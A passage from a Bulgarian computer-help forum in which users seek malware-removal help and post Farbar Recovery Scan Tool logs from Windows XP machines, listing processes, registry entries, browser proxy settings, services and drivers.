      R3 usbccgp; C:\WINDOWS\System32\DRIVERS\usbccgp.sys [32384 2013-08-09] (Microsoft Corporation) [File not signed]
      R3 usbehci; C:\WINDOWS\System32\DRIVERS\usbehci.sys [30336 2009-03-18] (Microsoft Corporation) [File not signed]
      S3 usbscan; C:\WINDOWS\System32\DRIVERS\usbscan.sys [14976 2013-07-03] (Microsoft Corporation) [File not signed]
      S3 vsdatant; C:\WINDOWS\system32\vsdatant.sys [394952 2007-11-14] (Zone Labs, LLC)
      S3 catchme; \??\C:\DOCUME~1\User1\LOCALS~1\Temp\catchme.sys [X]
      S4 IntelIde; no ImagePath
      S2 StarOpen; no ImagePath
      ==================== NetSvcs (Whitelisted) ===================
      (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

      ==================== One Month Created files and folders ========
      (If an entry is included in the fixlist, the file/folder will be moved.)
      2017-12-05 08:35 - 2017-12-05 08:35 - 000013521 _____ C:\Documents and Settings\User2\Desktop\FRST.txt
      2017-12-05 08:34 - 2017-12-05 08:35 - 000000000 ____D C:\FRST
      2017-12-05 08:34 - 2017-12-05 08:34 - 001752064 _____ (Farbar) C:\Documents and Settings\User2\Desktop\FRST.exe
      2017-11-21 14:30 - 2017-11-21 14:30 - 000505729 _____ C:\Documents and Settings\User2\Desktop\87.pdf
      2017-11-14 15:45 - 2017-11-14 15:45 - 000420352 _____ C:\Documents and Settings\User2\Desktop\ценова 2017 -НОЕМВРИ.xls
      ==================== One Month Modified files and folders ========
      (If an entry is included in the fixlist, the file/folder will be moved.)
      2017-12-05 08:35 - 2015-07-18 12:46 - 000000000 ____D C:\Documents and Settings\User1\Local Settings\temp
      2017-12-05 08:35 - 2011-05-02 12:28 - 000000000 ____D C:\Documents and Settings\User2\Local Settings\Temp
      2017-12-05 08:22 - 2014-01-31 12:39 - 000002051 _____ C:\Documents and Settings\All Users\Desktop\Ad-Aware Antivirus.lnk
      2017-12-05 08:20 - 2015-06-22 13:14 - 000000222 _____ C:\WINDOWS\Tasks\Microsoft Windows XP End of Service Notification Logon.job
      2017-12-05 08:20 - 2011-05-02 09:20 - 000000006 ____H C:\WINDOWS\Tasks\SA.DAT
      2017-12-05 08:20 - 2001-08-23 11:00 - 000002206 _____ C:\WINDOWS\system32\wpa.dbl
      2017-12-04 14:39 - 2016-02-17 15:35 - 000032618 _____ C:\WINDOWS\SchedLgU.Txt
      2017-12-04 14:31 - 2011-05-25 09:57 - 000000000 ____D C:\Documents and Settings\User2\Application Data\uTorrent
      2017-12-04 14:30 - 2011-05-02 12:28 - 000000000 ____D C:\Documents and Settings\User2
      2017-12-04 14:26 - 2015-04-26 08:48 - 000000000 ____D C:\Documents and Settings\User2\Application Data\Skype
      2017-12-04 13:55 - 2013-03-08 14:11 - 000001078 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskUserS-1-5-21-220523388-412668190-1417001333-1003UA.job
      2017-12-04 12:55 - 2013-03-08 14:11 - 000001026 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskUserS-1-5-21-220523388-412668190-1417001333-1003Core.job
      2017-12-02 12:58 - 2011-05-02 11:46 - 000000000 ____D C:\Documents and Settings\User1\Application Data\uTorrent
      2017-12-02 12:58 - 2011-05-02 11:10 - 000000178 ___SH C:\Documents and Settings\User1\ntuser.ini
      2017-12-02 12:48 - 2017-01-16 12:16 - 000000892 _____ C:\WINDOWS\Tasks\Adobe Flash Player PPAPI Notifier.job
      2017-12-02 12:48 - 2011-05-02 09:10 - 000000000 ____D C:\WINDOWS\system32\Macromed
      2017-12-02 12:47 - 2015-04-25 10:43 - 000000000 ____D C:\Documents and Settings\User1\Application Data\Skype
      2017-12-02 12:36 - 2016-02-20 12:25 - 000000000 ____D C:\Documents and Settings\All Users\Application Data\MCShield
      2017-11-30 14:44 - 2011-05-02 11:10 - 000000000 ____D C:\Documents and Settings\User1
      2017-11-23 11:07 - 2013-12-09 12:51 - 000000000 ____D C:\Documents and Settings\User2\Desktop\образци PDF
      2017-11-16 12:59 - 2015-06-22 13:14 - 000000216 _____ C:\WINDOWS\Tasks\Microsoft Windows XP End of Service Notification Monthly.job
      ==================== Files in the root of some directories =======
      2011-05-02 12:33 - 2014-09-24 15:20 - 000014848 _____ () C:\Documents and Settings\User1\Local Settings\Application Data\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
      2014-01-01 12:07 - 2014-01-01 12:07 - 000000036 _____ () C:\Documents and Settings\User1\Local Settings\Application Data\housecall.guid.cache
      2011-05-15 12:35 - 2011-05-15 12:35 - 000000056 _____ () C:\Documents and Settings\All Users\Application Data\ezsidmv.dat
      2017-09-02 11:57 - 2017-09-02 12:18 - 000000473 _____ () C:\Documents and Settings\All Users\Application Data\hpzinstall.log
      Some files in TEMP:
      ====================
      2017-09-02 12:17 - 2017-09-02 12:17 - 000764248 _____ (Igor Pavlov) C:\Documents and Settings\User1\Local Settings\temp\Package_en_ww.exe
      ==================== Bamital & volsnap ======================
      (There is no automatic fix for files that do not pass verification.)
      C:\WINDOWS\explorer.exe => File is digitally signed
      C:\WINDOWS\system32\winlogon.exe => File is digitally signed
      C:\WINDOWS\system32\svchost.exe => File is digitally signed
      C:\WINDOWS\system32\services.exe => MD5 is legit
      C:\WINDOWS\system32\User32.dll => File is digitally signed
      C:\WINDOWS\system32\userinit.exe => File is digitally signed
      C:\WINDOWS\system32\rpcss.dll => MD5 is legit
      C:\WINDOWS\system32\dnsapi.dll => MD5 is legit
      C:\WINDOWS\system32\Drivers\volsnap.sys => File is digitally signed
      ==================== End of FRST.txt ============================
      Addition.txt
    • от izipop
      При подновяване на Malwarebytes използвах опцията за пълна защита в реално време...както и пробният период от 14 дни. Нямаше проблеми, всичко функционираше точно. След изтичане на пробния период, при поредно пускане на програмата ми даде съобщение за зловреден софтуер.Преди подновяването нямаше зараза.  Какво да правя за да ги премахна? Мисля, че проблемът идва от това, че исках да ползвам безплатната версия на Malwarebytes и това е активирано след това. Многократно слагах резултатите в карантина и отново излизат като съобщение за зловреден вирус .Мисля, че сгреших, когато предпоследния път изтрих "Карантината". Може би, е изтрило местонахождението, не знам! Търсих ... Моля, помогнете! 
    • от j_d
      Здравейте !
      Device Manager e празен,Network Connections също ,а има нет. Системата(Win Xp) се изключва доста бавно. Дали системата е омазана или се дължи на зловреден софт.
      Да Помоля за помощ !
      Благодаря предварително !
       
      Scan result of Farbar Recovery Scan Tool (FRST) (x86) Version: 02-11-2017 02
      Ran by doni (administrator) on AMD (06-11-2017 19:57:32)
      Running from C:\
      Loaded Profiles: doni (Available Profiles: doni & Administrator)
      Platform: Microsoft Windows XP Professional Service Pack 3 (X86) Language: English (United States)
      Internet Explorer Version 8 (Default browser: IE)
      Boot Mode: Normal
      Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/
      ==================== Processes (Whitelisted) =================
      (If an entry is included in the fixlist, the process will be closed. The file will not be moved.)
      (ESET) C:\Program Files\ESET\ESET Security\ekrn.exe
      (Murray Hurps Software Pty Ltd) C:\Program Files\Ad Muncher\AdMunch.exe
      (Copyright 2017.) C:\Program Files\Zemana AntiLogger\ZAM.exe
      (H.D.S. Hungary) C:\Program Files\Hard Disk Sentinel\HDSentinel.exe
      (Bitsum LLC) C:\Program Files\Process Lasso\ProcessLasso.exe
      (Bitsum LLC) C:\Program Files\Process Lasso\ProcessGovernor.exe
      (FinalWire Ltd.) D:\Важни Програми\AIDA64 Extreme Edition\aida64extreme592\aida64.exe
      () C:\Program Files\Jotta\vss\jVSS.exe
      (HP) C:\WINDOWS\system32\HPZipm12.exe
      (Reason Software Company Inc.) C:\Program Files\Unchecky\bin\unchecky_svc.exe
      (Copyright 2017.) C:\Program Files\Zemana AntiLogger\ZAM.exe
      (Reason Software Company Inc.) C:\Program Files\Unchecky\bin\unchecky_bg.exe
      (ESET) C:\Program Files\ESET\ESET Security\egui.exe
      (SpiderOak) C:\Program Files\SpiderOakONE\SpiderOakONE.exe
      (SpiderOak) C:\Program Files\SpiderOakONE\SpiderOakONE.exe
      () C:\Program Files\SpiderOakONE\windows_dir_watcher.exe
      (FlashPeak Inc.) C:\Program Files\Slimjet\slimjet.exe
      (FlashPeak Inc.) C:\Program Files\Slimjet\slimjet.exe
      (FlashPeak Inc.) C:\Program Files\Slimjet\slimjet.exe
      (FlashPeak Inc.) C:\Program Files\Slimjet\slimjet.exe
      (FlashPeak Inc.) C:\Program Files\Slimjet\slimjet.exe
      ==================== Registry (Whitelisted) ===========================
      (If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)
      HKLM\...\Run: [Ad Muncher] => C:\Program Files\Ad Muncher\AdMunch.exe [560760 2015-06-17] (Murray Hurps Software Pty Ltd)
      HKLM\...\Run: [ZAM] => C:\Program Files\Zemana AntiLogger\ZAM.exe [15775888 2017-08-09] (Copyright 2017.)
      HKLM\...\Run: [Hard Disk Sentinel] => C:\Program Files\Hard Disk Sentinel\HDSentinel.exe [5102680 2017-03-09] (H.D.S. Hungary)
      HKLM\...\Run: [DWPersistentQueuedReporting] => C:\Program Files\Common Files\Microsoft Shared\DW\DWTRIG20.EXE [437160 2007-02-26] (Microsoft Corporation)
      Winlogon\Notify\AtiExtEvent: C:\WINDOWS\system32\Ati2evxx.dll [2009-07-29] (ATI Technologies Inc.)
      HKLM\...\Policies\Explorer: [LinkResolveIgnoreLinkInfo] 0
      HKLM\...\Policies\Explorer: [NoResolveSearch] 1
      HKU\S-1-5-21-854245398-329068152-725345543-1003\...\Run: [ProcessLassoManagementConsole] => C:\Program Files\Process Lasso\processlasso.exe [986112 2017-03-06] (Bitsum LLC)
      HKU\S-1-5-21-854245398-329068152-725345543-1003\...\Run: [ProcessGovernor] => C:\Program Files\Process Lasso\processgovernor.exe [717824 2017-03-06] (Bitsum LLC)
      HKU\S-1-5-21-854245398-329068152-725345543-1003\...\Run: [AIDA64 AutoStart] => D:\Важни Програми\AIDA64 Extreme Edition\aida64extreme592\aida64.exe [19602896 2017-06-19] (FinalWire Ltd.)
      HKU\S-1-5-21-854245398-329068152-725345543-1003\...\Policies\Explorer: [LinkResolveIgnoreLinkInfo] 0
      HKU\S-1-5-21-854245398-329068152-725345543-1003\...\Policies\Explorer: [NoLowDiskSpaceChecks] 1
      HKU\S-1-5-21-854245398-329068152-725345543-1003\...\Policies\Explorer: [NoSaveSettings] 0
      Lsa: [Notification Packages] 
      ShellExecuteHooks: SABShellExecuteHook Class - {5AE067D3-9AFB-48E0-853A-EBB7F4A000DA} - C:\Program Files\SUPERAntiSpyware\SASSEH.DLL [115440 2013-05-08] (SuperAdBlocker.com)
      GroupPolicy: Restriction ? <==== ATTENTION
      ==================== Internet (Whitelisted) ====================
      (If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)
      Winsock: Catalog9 12 %windir%\system32\vsocklib.dll => No File 
      Winsock: Catalog9 13 %windir%\system32\vsocklib.dll => No File 
      Hosts: There are more than one entry in Hosts. See Hosts section of Addition.txt
      Tcpip\Parameters: [DhcpNameServer] 192.168.1.1 0.0.0.0
      Tcpip\..\Interfaces\{C97B26C0-87E8-44A4-9564-5796CD042123}: [DhcpNameServer] 192.168.1.1 0.0.0.0
      Internet Explorer:
      ==================
      HKLM\Software\Microsoft\Internet Explorer\Main,Local Page = 
      HKU\S-1-5-21-854245398-329068152-725345543-1003\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch
      HKU\S-1-5-21-854245398-329068152-725345543-1003\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = hxxp://www.msn.com/?ocid=iehp
      SearchScopes: HKLM -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
      SearchScopes: HKU\.DEFAULT -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
      SearchScopes: HKU\S-1-5-19 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
      SearchScopes: HKU\S-1-5-20 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
      DPF: {E2883E8F-472F-4FB0-9522-AC9BF37916A7} hxxp://platformdl.adobe.com/NOS/getPlusPlus/1.6/gp.cab
      Handler: cdo - {CD00020A-8B95-11D1-82DB-00C04FB1625D} - C:\Program Files\Common Files\Microsoft Shared\Web Folders\PKMCDO.DLL [2001-01-22] (Microsoft Corporation)
      Handler: livecall - {828030A1-22C1-4009-854F-8E305202313F} -  No File
      Handler: ms-itss - {0A9007C0-4076-11D3-8789-0000F8105754} - C:\Program Files\Common Files\Microsoft Shared\Information Retrieval\MSITSS.DLL [2000-04-19] (Microsoft Corporation)
      Handler: msnim - {828030A1-22C1-4009-854F-8E305202313F} -  No File
      Handler: skype4com - {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\Program Files\Common Files\Skype\Skype4COM.dll [2017-04-05] (Skype Technologies)
      Handler: wlmailhtml - {03C514A3-1EFB-4856-9F99-10D7BE1653C0} -  No File
      FireFox:
      ========
      FF DefaultProfile: k5gfurjn.default
      FF ProfilePath: C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default [2017-11-05]
      FF Homepage: C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default -> google.bg
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default -> backup.ftp", ""
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default -> backup.ftp_port", 0
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default -> backup.socks", ""
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default -> backup.socks_port", 0
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default -> backup.ssl", ""
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default -> backup.ssl_port", 0
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default -> ftp", "127.0.0.1"
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default -> ftp_port", 9050
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default -> http", "127.0.0.1"
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default -> http_port", 9050
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default -> share_proxy_settings", true
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default -> socks", "127.0.0.1"
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default -> socks_port", 9050
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default -> ssl", "127.0.0.1"
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default -> ssl_port", 9050
      FF Extension: (Adguard AdBlocker) - C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default\Extensions\adguardadblocker@adguard.com.xpi [2017-02-17]
      FF Extension: (Bloody Vikings!) - C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default\Extensions\bloodyvikings@ffs.bplaced.net.xpi [2017-01-09]
      FF Extension: (MEGA) - C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default\Extensions\firefox@mega.co.nz.xpi [2017-03-30]
      FF Extension: (Google™ Translator) - C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default\Extensions\jid1-dgnIBwQga0SIBw@jetpack.xpi [2016-12-19]
      FF Extension: (S3.Google Translator) - C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default\Extensions\s3google@translator.xpi [2017-03-30]
      FF Extension: (Video DownloadHelper) - C:\Documents and Settings\doni\Application Data\Mozilla\Firefox\Profiles\k5gfurjn.default\Extensions\{b9db16a4-6edc-47ec-a1f4-b86292ed211d}.xpi [2017-01-02]
      FF ProfilePath: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default [2017-11-05]
      FF DefaultSearchEngine: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default -> Google
      FF SelectedSearchEngine: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default -> Google
      FF Homepage: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default -> www.google.bg
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default -> backup.ftp", "127.0.0.1"
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default -> backup.ftp_port", 9050
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default -> backup.socks", "127.0.0.1"
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default -> backup.socks_port", 9050
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default -> backup.ssl", "127.0.0.1"
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default -> backup.ssl_port", 9050
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default -> ftp", "127.0.0.1"
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default -> ftp_port", 9050
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default -> http", "127.0.0.1"
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default -> http_port", 9050
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default -> share_proxy_settings", true
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default -> socks", "127.0.0.1"
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default -> socks_port", 9050
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default -> ssl", "127.0.0.1"
      FF NetworkProxy: C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default -> ssl_port", 9050
      FF Extension: (Adguard AdBlocker (Legacy)) - C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default\Extensions\adguardadblockerlegacy@adguard.com.xpi [2017-10-03]
      FF Extension: (S3.Google Translator) - C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default\Extensions\s3google@translator.xpi [2017-09-25]
      FF Extension: (1-Click YouTube Video Downloader) - C:\Documents and Settings\doni\Application Data\Moonchild Productions\Pale Moon\Profiles\p3bt4kaz.default\Extensions\YoutubeDownloader@PeterOlayev.com.xpi [2017-01-02]
      FF ProfilePath: C:\Documents and Settings\doni\Application Data\K-Meleon\puoi2cit.default [2017-11-05]
      FF user.js: detected! => C:\Documents and Settings\doni\Application Data\K-Meleon\puoi2cit.default\user.js [2006-04-06]
      FF Homepage: C:\Documents and Settings\doni\Application Data\K-Meleon\puoi2cit.default -> www.google.bg
      FF Extension: (NewsFox) - C:\Program Files\K-Meleon\browser\extensions\{899DF1F8-2F43-4394-8315-37F6744E6319}.xpi [2015-03-12] [not signed]
      FF HKLM\...\Firefox\Extensions: [{20a82645-c095-46ed-80e3-08825760534b}] - C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension
      FF Extension: (Microsoft .NET Framework Assistant) - C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension [2017-10-29] [not signed]
      FF Plugin: @adobe.com/FlashPlayer -> C:\WINDOWS\system32\Macromed\Flash\NPSWF32_27_0_0_183.dll [2017-10-25] ()
      FF Plugin: @google.com/npPicasa3,version=3.0.0 -> C:\Program Files\Google\Picasa3\npPicasa3.dll [2014-01-06] (Google, Inc.)
      FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.50901.0\npctrl.dll [2016-08-31] ( Microsoft Corporation)
      FF Plugin: @microsoft.com/OfficeLive,version=1.3 -> C:\Program Files\Microsoft\Office Live\npOLW.dll [2008-11-13] (Microsoft Corp.)
      FF Plugin: @microsoft.com/WPF,version=3.5 -> C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll [2008-07-29] (Microsoft Corporation)
      FF Plugin: @real.com/nppl3260;version=6.0.12.69 -> C:\Program Files\K-Lite Codec Pack\Real\browser\plugins\nppl3260.dll [2008-09-10] (RealNetworks, Inc.)
      FF Plugin: @real.com/nprpjplug;version=6.0.12.69 -> C:\Program Files\K-Lite Codec Pack\Real\browser\plugins\nprpjplug.dll [2008-09-10] (RealNetworks, Inc.)
      FF Plugin: @tools.google.com/Google Update;version=3 -> C:\Program Files\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-04-28] (Google Inc.)
      FF Plugin: @tools.google.com/Google Update;version=9 -> C:\Program Files\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-04-28] (Google Inc.)
      FF Plugin: @videolan.org/vlc,version=2.1.0 -> C:\Program Files\VideoLAN\VLC\npvlc.dll [2017-05-24] (VideoLAN)
      FF Plugin: @videolan.org/vlc,version=2.1.5 -> C:\Program Files\VideoLAN\VLC\npvlc.dll [2017-05-24] (VideoLAN)
      FF Plugin: Adobe Reader -> C:\Program Files\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll [2014-08-05] (Adobe Systems Inc.)
      FF Plugin HKU\.DEFAULT: @tools.google.com/Google Update;version=3 -> C:\WINDOWS\system32\config\systemprofile\Local Settings\Application Data\Google\Update\1.3.22.3\npGoogleUpdate3.dll [2014-02-08] (Google Inc.)
      FF Plugin HKU\.DEFAULT: @tools.google.com/Google Update;version=9 -> C:\WINDOWS\system32\config\systemprofile\Local Settings\Application Data\Google\Update\1.3.22.3\npGoogleUpdate3.dll [2014-02-08] (Google Inc.)
      ==================== Services (Whitelisted) ====================
      (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
      S3 !SASCORE; C:\Program Files\SUPERAntiSpyware\SASCORE.EXE [143776 2017-03-07] (SUPERAntiSpyware.com)
      S3 Adobe LM Service; C:\Program Files\Common Files\Adobe Systems Shared\Service\Adobelmsvc.exe [72704 2010-04-15] (Adobe Systems) [File not signed]
      S3 AdobeFlashPlayerUpdateSvc; C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe [272384 2017-10-25] (Adobe Systems Incorporated) [File not signed]
      R2 ekrn; C:\Program Files\ESET\ESET Security\ekrn.exe [2069936 2017-06-13] (ESET)
      S3 hpqcxs08; C:\Program Files\HP\Digital Imaging\bin\hpqcxs08.dll [217088 2007-03-11] (Hewlett-Packard Co.) [File not signed]
      R2 Jotta VSS Service; C:\Program Files\Jotta\vss\jVSS.exe [102520 2017-10-03] ()
      S3 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe [4563920 2017-11-01] (Malwarebytes)
      S4 MDM; C:\Program Files\Common Files\Microsoft Shared\VS7Debug\mdm.exe [270336 2001-02-23] (Microsoft Corporation) [File not signed]
      R2 Pml Driver HPZ12; C:\WINDOWS\system32\HPZipm12.exe [69632 2004-09-29] (HP) [File not signed]
      S4 SkypeUpdate; C:\Program Files\Skype\Updater\Updater.exe [317400 2017-04-05] (Skype Technologies) [File not signed]
      R2 Unchecky; C:\Program Files\Unchecky\bin\unchecky_svc.exe [294168 2017-10-03] (Reason Software Company Inc.)
      R2 WudfSvc; C:\WINDOWS\System32\WUDFSvc.dll [64512 2016-03-09] (Microsoft Corporation) [File not signed]
      R2 ZAMSvc; C:\Program Files\Zemana AntiLogger\ZAM.exe [15775888 2017-08-09] (Copyright 2017.)
      S4 Zoolz 2 Service; C:\Program Files\Genie9\Zoolz2\ZoolzService.exe [475792 2017-07-30] (Genie9)
      ===================== Drivers (Whitelisted) ======================
      (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
      R1 AFS2K; C:\WINDOWS\system32\Drivers\AFS2K.sys [82380 2011-12-28] (Oak Technology Inc.) [File not signed]
      R3 AIDA64Driver; D:\Важни Програми\AIDA64 Extreme Edition\aida64extreme592\kerneld.x32 [44656 2017-06-19] ()
      S3 Ambfilt; C:\WINDOWS\System32\drivers\Ambfilt.sys [1691480 2009-11-18] (Creative)
      S3 CCDECODE; C:\WINDOWS\System32\DRIVERS\CCDECODE.sys [17024 2008-04-13] (Microsoft Corporation)
      R1 eamonm; C:\WINDOWS\System32\DRIVERS\eamonm.sys [113512 2017-06-22] (ESET)
      R1 ehdrv; C:\WINDOWS\System32\DRIVERS\ehdrv.sys [139384 2017-03-09] (ESET)
      R1 ElbyCDIO; C:\WINDOWS\System32\Drivers\ElbyCDIO.sys [31088 2010-12-17] (Elaborate Bytes AG)
      R1 epfwtdir; C:\WINDOWS\System32\DRIVERS\epfwtdir.sys [61504 2017-03-09] (ESET)
      S3 HPZid412; C:\WINDOWS\System32\DRIVERS\HPZid412.sys [51120 2005-03-08] (HP)
      S3 HPZipr12; C:\WINDOWS\System32\DRIVERS\HPZipr12.sys [16496 2005-03-08] (HP)
      S3 HPZius12; C:\WINDOWS\System32\DRIVERS\HPZius12.sys [21744 2005-03-08] (HP)
      R2 inpout32; C:\WINDOWS\System32\Drivers\inpout32.sys [11936 2017-10-25] (Highresolution Enterprises [www.highrez.co.uk])
      R3 keycrypt; C:\WINDOWS\System32\DRIVERS\KeyCrypt32.sys [144416 2017-03-22] (Zemana Ltd.)
      S3 Monfilt; C:\WINDOWS\System32\drivers\Monfilt.sys [1395800 2009-11-18] (Creative Technology Ltd.)
      S3 NdisIP; C:\WINDOWS\System32\DRIVERS\NdisIP.sys [10880 2008-04-13] (Microsoft Corporation)
      R3 pcouffin; C:\WINDOWS\System32\Drivers\pcouffin.sys [47360 2010-04-06] (VSO Software) [File not signed]
      R3 RTHDMIAzAudService; C:\WINDOWS\System32\drivers\RtKHDMI.sys [3734976 2009-06-25] (Realtek Semiconductor Corp.)
      R1 SASDIFSV; C:\Program Files\SUPERAntiSpyware\SASDIFSV.SYS [12880 2011-07-22] (SUPERAdBlocker.com and SUPERAntiSpyware.com)
      R1 SASKUTIL; C:\Program Files\SUPERAntiSpyware\SASKUTIL.SYS [67664 2011-07-12] (SUPERAdBlocker.com and SUPERAntiSpyware.com)
      R0 sptd; C:\WINDOWS\System32\Drivers\sptd.sys [691696 2010-03-17] () [File not signed]
      R3 VComm; C:\WINDOWS\System32\DRIVERS\VComm.sys [34448 2011-05-28] (IVT Corporation.)
      R2 WiseFs; C:\WINDOWS\WiseFs32.sys [57936 2017-07-28] (WiseCleaner.com)
      R1 ZAM; C:\WINDOWS\System32\drivers\zam32.sys [181496 2017-07-31] (Zemana Ltd.)
      R1 ZAM_Guard; C:\WINDOWS\System32\drivers\zamguard32.sys [181496 2017-07-31] (Zemana Ltd.)
      U3 aixna50v; C:\WINDOWS\system32\Drivers\aixna50v.sys [0 ] (Microsoft Corporation) <==== ATTENTION (zero byte File/Folder)
      S3 BlueletAudio; system32\DRIVERS\blueletaudio.sys [X]
      S3 BlueletSCOAudio; system32\DRIVERS\BlueletSCOAudio.sys [X]
      S3 BT; system32\DRIVERS\btnetdrv.sys [X]
      S3 Btcsrusb; System32\Drivers\btcusb.sys [X]
      S3 BTHidEnum; system32\DRIVERS\vbtenum.sys [X]
      S0 BTHidMgr; System32\Drivers\BTHidMgr.sys [X]
      S1 epp32; no ImagePath
      S3 ESETCleanersDriver; no ImagePath
      S3 gdrv; no ImagePath
      S4 IntelIde; no ImagePath
      S3 JL2005C; System32\Drivers\jl2005c.sys [X]
      U5 P3; C:\Windows\System32\Drivers\P3.sys [42752 2008-04-14] (Microsoft Corporation)
      U5 ScsiPort; C:\WINDOWS\system32\drivers\scsiport.sys [96384 2008-04-14] (Microsoft Corporation)
      U5 Sdbus; C:\Windows\System32\Drivers\Sdbus.sys [79232 2008-04-14] (Microsoft Corporation)
      U5 UnlockerDriver5; C:\Program Files\Unlocker\UnlockerDriver5.sys [4096 2010-07-04] () [File not signed]
      S3 VcommMgr; System32\Drivers\VcommMgr.sys [X]
      ==================== NetSvcs (Whitelisted) ===================
      (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
      NETSVC: SSHNAS -> no filepath.
      ==================== One Month Created files and folders ========
